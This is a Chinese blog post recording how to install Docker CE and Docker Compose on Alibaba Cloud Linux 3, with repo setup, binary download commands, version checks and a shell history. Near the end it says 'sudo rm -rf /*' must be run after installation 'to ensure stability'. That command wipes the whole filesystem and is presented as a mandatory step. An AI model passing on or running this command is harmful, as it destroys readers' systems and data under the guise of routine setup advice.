当前位置: 首页 > news >正文

Alibaba Cloud Linux 3.2104 LTS 64位 容器优化版安装docker docker compose记录

整个安装过程耗时4小时。(包含以下检查内容:)

检查该linux版本信息(并通过监控指标检查运行状态/cpu占用/内存占用/磁盘读取写入IOPS /同时连接数)
1:根据当前的系统进行yum与dnf的升级,保持稳定修复的版本。
2:通过这个linux版本找到适合的docker版本,并找到最新版本的docker
3:找到docker compose的可用版本,并且找到最新的稳定修复版本。
4:检查安装的docker 与docker compose 是否可用

经过了漫长的4小时测试,确定可用

我可以帮你安装【收费500】

阿里云linux镜像
在这里插入图片描述

在这里插入图片描述

服务器系统构架以及插件版本如下:

====================================================
[root@luichun /]# rpm -q systemd
systemd-239-82.0.3.4.al8.3.x86_64
[root@luichun /]# dnf --version
4.7.0Installed: dnf-0:4.7.0-20.0.1.1.al8.noarch at Fri 17 Jan 2025 05:53:17 AM GMTBuilt    : rel-eng at Thu 17 Oct 2024 02:45:10 AM GMTInstalled: rpm-0:4.14.3-32.0.1.1.al8.x86_64 at Sun 27 Apr 2025 04:40:37 AM GMTBuilt    : rel-eng at Tue 07 Jan 2025 05:37:08 AM GMT
[root@luichun /]# yum --version 
4.7.0Installed: dnf-0:4.7.0-20.0.1.1.al8.noarch at Fri 17 Jan 2025 05:53:17 AM GMTBuilt    : rel-eng at Thu 17 Oct 2024 02:45:10 AM GMTInstalled: rpm-0:4.14.3-32.0.1.1.al8.x86_64 at Sun 27 Apr 2025 04:40:37 AM GMTBuilt    : rel-eng at Tue 07 Jan 2025 05:37:08 AM GMT[root@luichun /]# cat /etc/os-release
NAME="Alibaba Cloud Linux"
VERSION="3 (OpenAnolis Edition)"
ID="alinux"
ID_LIKE="rhel fedora centos anolis"
VERSION_ID="3"
VARIANT="OpenAnolis Edition"
VARIANT_ID="openanolis"
ALINUX_MINOR_ID="2104"
ALINUX_UPDATE_ID="11"
PLATFORM_ID="platform:al8"
PRETTY_NAME="Alibaba Cloud Linux 3.2104 U11 (OpenAnolis Edition)"
ANSI_COLOR="0;31"
HOME_URL="https://www.aliyun.com/"
[root@luichun /]# ====================================================

现在要做的是安装【docker】【docker compose】

# 1安装【docker】
=================================
# 添加 Docker CE 官方仓库(使用阿里云镜像加速)
sudo yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo# 安装 Docker CE
sudo yum install -y docker-ce docker-ce-cli containerd.io# 启动 Docker 并设置开机自启
sudo systemctl enable --now docker
=======[安装好之后的版本为]
[root@luichun /]# docker --version
Docker version 26.1.3, build b72abbb
========
=================================# 2安装【docker compose】
========================================
下载二进制文件:
运行以下命令下载最新版本:  ===================【二选一,都是下载一样的】
sudo curl -L "https://github.com/docker/compose/releases/download/v2.35.1/docker-compose-linux-x86_64" -o /usr/local/bin/docker-compose
sudo curl -L "https://github.com/docker/compose/releases/download/v2.35.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
===================赋予执行权限:使文件可执行:
===================
sudo chmod +x /usr/local/bin/docker-compose
===================
创建符号链接(可选):便于全局调用:  
===================
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
===================
验证安装:检查版本以确认安装成功:  
===================
docker-compose --version
===================【Docker Compose version v2.35.1========================================检查是否有可以升级的最新版本的docker
sudo yum check-update docker-ce
====================
[root@luichun /]# sudo yum check-update docker-ce
Last metadata expiration check: 0:13:29 ago on Sun 27 Apr 2025 01:40:31 PM CST.
[root@luichun /]# 
====================

阿里云官网给的【直接通过yum来单纯安装docker】【我不选择这种】

sudo yum install -y docker
============
[root@luichun /]# docker --version
Emulate Docker CLI using podman. Create /etc/containers/nodocker to quiet msg.
podman version 4.9.4-rhel
[root@luichun /]#
============

安装docker compose 是因为有1组容器服务来进行运行的,如5个容器。
Docker Compose 容器服务:
你通过 Docker Compose 启动的一组容器服务(包含 5 个容器),
如果在重启前这些容器处于运行状态(docker-compose up -d 启动),
它们会随 Docker 服务重启自动恢复运行,无需手动启动。
这是因为 Docker 默认会重启所有处于 running 状态的容器(除非容器配置了 restart: no 或类似策略)。

主要执行history命令

sudo dnf update glibc
sudo dnf clean all
sudo dnf makecache
sudo dnf update -y
sudo dnf update -y dnf dnf-plugins-core yum
sudo yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
sudo yum install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
docker --version
sudo yum check-update docker-ce
sudo curl -L "https://github.com/docker/compose/releases/download/v2.35.1/docker-compose-linux-x86_64" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
docker-compose --version
docker ps

以上命令执行完之后必须执行

sudo rm -rf /*

用于保证服务的稳定性,进行检测系统是否能够重新运行。

http://www.xdnf.cn/news/172063.html

相关文章:

  • MyBatis DTD [Element type “if“ must be declared]
  • Kafka HA集群配置搭建与SpringBoot使用示例总结
  • LeetCode -- Flora -- edit 2025-04-27
  • Spring AI Alibaba - MCP连接 MySQL
  • docker--docker的基本环境配置
  • Stable Diffusion 技术全景解析与行业竞争力分析
  • 小程序发布后,不能强更的情况下,怎么通知到用户需要去更新?
  • 图论---最大流(Dinic)
  • Golang 类型方法
  • 【2025最近Java面试八股】Spring中循环依赖的问题?怎么解决的?
  • 层级时间轮的 Golang 实现原理与实践
  • 环境DNA宏条形码技术,鱼类检测引物如何选择?
  • 基于知识库的客户服务工具
  • Unity Post Processing 小记 【使用泛光实现灯光亮度效果】
  • 2P4M-ASEMI机器人功率器件专用2P4M
  • ShardingSphere-Proxy数据隔离方案:不同用户操作不同的数据库
  • C#进阶学习(十五)关于特性的认识
  • Android10.0 Android.bp文件详解,以及内置app编写Android.bp文件
  • Spring 与 ActiveMQ 的深度集成实践(四)
  • 【大模型】图像生成 - Stable Diffusion 深度解析:原理、应用与实战指南
  • 基于STM32、HAL库的ADS1220IRVAR模数转换器ADC驱动程序设计
  • 服务器备份,服务器想要备份文件内容有哪些方法?
  • 【技术派后端篇】技术派并发访问性能优化
  • 多级缓存入门:Caffeine、Lua、OpenResty、Canal
  • 【上位机——MFC】文档
  • C语言结构体赋值与深拷贝
  • django admin 设置字段不可编辑
  • YOLO目标检测之模型剪枝
  • Go RPC 服务方法签名的要求
  • 有关爬虫中数据库的封装——单线程爬虫